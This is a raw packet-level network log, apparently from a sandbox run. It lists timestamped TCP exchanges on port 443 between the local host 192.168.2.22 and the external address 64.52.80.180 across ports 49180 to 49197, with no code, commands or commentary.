Aug 14, 2022 08:39:33.937406063 CEST	443	49180	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:33.937482119 CEST	49180	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:33.938616991 CEST	49180	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:33.938636065 CEST	443	49180	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:34.254390955 CEST	443	49180	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:34.254652977 CEST	49180	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:34.264252901 CEST	49180	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:34.264286041 CEST	443	49180	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:34.278892994 CEST	49180	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:34.278911114 CEST	443	49180	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:34.279128075 CEST	49180	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:34.279135942 CEST	443	49180	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:34.915107012 CEST	443	49180	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:34.915240049 CEST	443	49180	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:34.915318012 CEST	49180	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:34.915751934 CEST	49180	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:34.915767908 CEST	49180	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:34.915785074 CEST	443	49180	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:35.025497913 CEST	49181	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:35.025568962 CEST	443	49181	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:35.025682926 CEST	49181	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:35.027221918 CEST	49181	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:35.027255058 CEST	443	49181	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:35.347014904 CEST	443	49181	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:35.347094059 CEST	49181	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:35.355298042 CEST	49181	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:35.355335951 CEST	443	49181	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:35.363675117 CEST	49181	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:35.363715887 CEST	443	49181	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:35.364173889 CEST	49181	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:35.364187002 CEST	443	49181	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:35.996069908 CEST	443	49181	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:35.996162891 CEST	443	49181	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:35.996274948 CEST	49181	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:35.996792078 CEST	49181	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:35.996810913 CEST	49181	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:35.996825933 CEST	443	49181	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:36.102952957 CEST	49182	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:36.103008986 CEST	443	49182	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:36.103108883 CEST	49182	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:36.104449987 CEST	49182	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:36.104490042 CEST	443	49182	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:36.417546988 CEST	443	49182	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:36.417686939 CEST	49182	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:36.425664902 CEST	49182	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:36.425689936 CEST	443	49182	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:36.432394028 CEST	49182	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:36.432415009 CEST	443	49182	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:36.432533026 CEST	49182	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:36.432538986 CEST	443	49182	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:37.064060926 CEST	443	49182	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:37.064161062 CEST	443	49182	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:37.064258099 CEST	49182	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:37.064914942 CEST	49182	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:37.064951897 CEST	49182	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:37.064976931 CEST	443	49182	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:37.178075075 CEST	49183	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:37.178147078 CEST	443	49183	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:37.178282976 CEST	49183	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:37.210825920 CEST	49183	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:37.210886002 CEST	443	49183	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:37.524852037 CEST	443	49183	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:37.524928093 CEST	49183	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:37.533180952 CEST	49183	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:37.533217907 CEST	443	49183	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:37.538053036 CEST	49183	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:37.538083076 CEST	443	49183	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:37.538115978 CEST	49183	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:37.538127899 CEST	443	49183	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:38.176454067 CEST	443	49183	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:38.176613092 CEST	443	49183	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:38.176656961 CEST	49183	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:38.176685095 CEST	49183	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:38.177041054 CEST	49183	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:38.177062988 CEST	443	49183	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:38.287452936 CEST	49184	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:38.287497044 CEST	443	49184	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:38.287627935 CEST	49184	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:38.289073944 CEST	49184	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:38.289094925 CEST	443	49184	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:38.604336977 CEST	443	49184	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:38.604419947 CEST	49184	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:38.612395048 CEST	49184	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:38.612423897 CEST	443	49184	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:38.619590998 CEST	49184	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:38.619617939 CEST	443	49184	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:38.619751930 CEST	49184	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:38.619764090 CEST	443	49184	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:39.248009920 CEST	443	49184	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:39.248112917 CEST	443	49184	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:39.248152018 CEST	49184	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:39.248173952 CEST	49184	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:39.248786926 CEST	49184	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:39.248811007 CEST	443	49184	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:39.362158060 CEST	49185	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:39.362225056 CEST	443	49185	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:39.362329006 CEST	49185	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:39.363089085 CEST	49185	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:39.363116980 CEST	443	49185	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:39.681147099 CEST	443	49185	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:39.681248903 CEST	49185	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:39.687524080 CEST	49185	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:39.687550068 CEST	443	49185	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:39.692419052 CEST	49185	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:39.692445993 CEST	443	49185	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:39.692465067 CEST	49185	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:39.692476034 CEST	443	49185	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:40.321420908 CEST	443	49185	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:40.321535110 CEST	443	49185	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:40.321697950 CEST	49185	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:40.330566883 CEST	49185	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:40.330600977 CEST	443	49185	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:40.446053028 CEST	49186	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:40.446094990 CEST	443	49186	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:40.446199894 CEST	49186	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:40.447390079 CEST	49186	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:40.447406054 CEST	443	49186	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:40.765466928 CEST	443	49186	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:40.767154932 CEST	49186	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:40.775544882 CEST	49186	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:40.775567055 CEST	443	49186	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:40.791111946 CEST	49186	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:40.791137934 CEST	443	49186	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:40.791234970 CEST	49186	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:40.791241884 CEST	443	49186	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:41.434022903 CEST	443	49186	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:41.434123039 CEST	443	49186	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:41.434154034 CEST	49186	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:41.434171915 CEST	49186	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:41.434540033 CEST	49186	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:41.434557915 CEST	443	49186	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:41.547739983 CEST	49187	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:41.547795057 CEST	443	49187	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:41.547874928 CEST	49187	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:41.548883915 CEST	49187	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:41.548908949 CEST	443	49187	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:41.864388943 CEST	443	49187	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:41.864501953 CEST	49187	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:41.871741056 CEST	49187	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:41.871751070 CEST	443	49187	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:41.878223896 CEST	49187	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:41.878237963 CEST	443	49187	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:41.878329039 CEST	49187	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:41.878333092 CEST	443	49187	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:42.508223057 CEST	443	49187	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:42.508306980 CEST	49187	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:42.508332014 CEST	443	49187	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:42.508377075 CEST	49187	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:42.508435965 CEST	443	49187	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:42.508485079 CEST	49187	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:42.508634090 CEST	49187	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:42.508650064 CEST	443	49187	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:42.607157946 CEST	49188	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:42.607254028 CEST	443	49188	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:42.607383966 CEST	49188	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:42.611932039 CEST	49188	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:42.611974955 CEST	443	49188	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:42.925403118 CEST	443	49188	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:42.925605059 CEST	49188	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:42.933341980 CEST	49188	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:42.933367968 CEST	443	49188	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:42.941550016 CEST	49188	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:42.941571951 CEST	443	49188	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:42.941637993 CEST	49188	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:42.941646099 CEST	443	49188	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:43.574589968 CEST	443	49188	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:43.574693918 CEST	443	49188	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:43.574799061 CEST	49188	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:43.575037956 CEST	49188	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:43.575251102 CEST	49188	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:43.575274944 CEST	443	49188	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:43.683166981 CEST	49189	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:43.683213949 CEST	443	49189	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:43.683274031 CEST	49189	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:43.683924913 CEST	49189	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:43.683944941 CEST	443	49189	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:43.998497009 CEST	443	49189	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:43.998692036 CEST	49189	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:44.006357908 CEST	49189	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:44.006397009 CEST	443	49189	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:44.013968945 CEST	49189	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:44.013993979 CEST	443	49189	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:44.014138937 CEST	49189	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:44.014147043 CEST	443	49189	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:44.644604921 CEST	443	49189	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:44.644795895 CEST	443	49189	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:44.644893885 CEST	49189	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:44.644922972 CEST	49189	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:44.645602942 CEST	49189	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:44.645639896 CEST	443	49189	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:44.744261980 CEST	49190	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:44.744326115 CEST	443	49190	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:44.744380951 CEST	49190	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:44.745263100 CEST	49190	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:44.745280981 CEST	443	49190	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:45.056792974 CEST	443	49190	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:45.056850910 CEST	49190	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:45.065104008 CEST	49190	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:45.065116882 CEST	443	49190	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:45.075051069 CEST	49190	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:45.075064898 CEST	443	49190	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:45.075223923 CEST	49190	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:45.075229883 CEST	443	49190	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:45.699312925 CEST	443	49190	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:45.699412107 CEST	443	49190	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:45.699539900 CEST	49190	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:45.700042009 CEST	49190	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:45.700067997 CEST	443	49190	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:45.806189060 CEST	49191	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:45.806240082 CEST	443	49191	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:45.806313038 CEST	49191	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:45.807204008 CEST	49191	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:45.807216883 CEST	443	49191	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:46.128350019 CEST	443	49191	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:46.128545046 CEST	49191	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:46.135804892 CEST	49191	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:46.135826111 CEST	443	49191	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:46.143002033 CEST	49191	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:46.143027067 CEST	443	49191	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:46.143070936 CEST	49191	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:46.143090010 CEST	443	49191	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:46.769692898 CEST	443	49191	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:46.769771099 CEST	443	49191	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:46.769860983 CEST	49191	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:46.772037029 CEST	49191	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:46.772792101 CEST	49191	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:46.772809982 CEST	443	49191	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:46.891555071 CEST	49192	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:46.891616106 CEST	443	49192	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:46.891701937 CEST	49192	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:46.892693043 CEST	49192	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:46.892723083 CEST	443	49192	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:47.205209970 CEST	443	49192	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:47.205311060 CEST	49192	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:47.223016024 CEST	49192	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:47.223042011 CEST	443	49192	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:47.235389948 CEST	49192	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:47.235415936 CEST	443	49192	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:47.235553980 CEST	49192	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:47.235565901 CEST	443	49192	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:47.873785973 CEST	443	49192	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:47.873898029 CEST	443	49192	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:47.874002934 CEST	49192	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:47.874428034 CEST	49192	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:47.874444962 CEST	49192	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:47.874465942 CEST	443	49192	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:47.976541042 CEST	49193	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:47.976591110 CEST	443	49193	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:47.976696014 CEST	49193	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:47.977595091 CEST	49193	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:47.977617025 CEST	443	49193	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:48.290757895 CEST	443	49193	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:48.290937901 CEST	49193	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:48.308514118 CEST	49193	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:48.308557987 CEST	443	49193	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:48.315979958 CEST	49193	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:48.316000938 CEST	443	49193	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:48.316139936 CEST	49193	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:48.316148043 CEST	443	49193	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:48.950820923 CEST	443	49193	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:48.950927973 CEST	443	49193	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:48.951025963 CEST	49193	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:48.951042891 CEST	49193	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:48.958199978 CEST	49193	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:48.958231926 CEST	443	49193	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:49.069434881 CEST	49194	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:49.069469929 CEST	443	49194	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:49.069536924 CEST	49194	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:49.070489883 CEST	49194	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:49.070501089 CEST	443	49194	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:49.385679007 CEST	443	49194	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:49.385843992 CEST	49194	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:49.402355909 CEST	49194	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:49.402379990 CEST	443	49194	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:49.410469055 CEST	49194	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:49.410482883 CEST	443	49194	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:49.410691023 CEST	49194	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:49.410697937 CEST	443	49194	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:50.042422056 CEST	443	49194	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:50.042509079 CEST	49194	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:50.042532921 CEST	443	49194	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:50.042550087 CEST	443	49194	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:50.042584896 CEST	49194	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:50.042748928 CEST	49194	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:50.042893887 CEST	49194	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:50.042910099 CEST	443	49194	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:50.145248890 CEST	49195	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:50.145292997 CEST	443	49195	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:50.145395041 CEST	49195	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:50.149787903 CEST	49195	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:50.149817944 CEST	443	49195	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:50.466341019 CEST	443	49195	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:50.469747066 CEST	49195	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:50.528973103 CEST	49195	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:50.529016018 CEST	443	49195	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:50.540462971 CEST	49195	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:50.540493965 CEST	443	49195	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:50.540569067 CEST	49195	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:50.540577888 CEST	443	49195	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:51.173576117 CEST	443	49195	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:51.173711061 CEST	443	49195	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:51.173877954 CEST	49195	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:51.195688009 CEST	49195	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:51.195727110 CEST	443	49195	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:51.496148109 CEST	49196	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:51.496191025 CEST	443	49196	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:51.496244907 CEST	49196	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:51.497370958 CEST	49196	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:51.497385025 CEST	443	49196	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:51.810568094 CEST	443	49196	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:51.810622931 CEST	49196	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:51.867662907 CEST	49196	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:51.867681980 CEST	443	49196	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:51.873087883 CEST	49196	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:51.873106003 CEST	443	49196	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:51.873203993 CEST	49196	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:51.873208046 CEST	443	49196	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:52.501899004 CEST	443	49196	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:52.501979113 CEST	443	49196	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:52.502065897 CEST	49196	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:52.503925085 CEST	49196	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:52.723447084 CEST	49196	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:52.723479033 CEST	443	49196	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:52.825793028 CEST	49197	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:52.825850010 CEST	443	49197	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:52.825930119 CEST	49197	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:52.826553106 CEST	49197	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:52.826571941 CEST	443	49197	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:53.139965057 CEST	443	49197	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:53.140041113 CEST	49197	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:53.150115967 CEST	49197	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:53.150144100 CEST	443	49197	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:53.157526970 CEST	49197	443	192.168.2.22	64.52.80.180
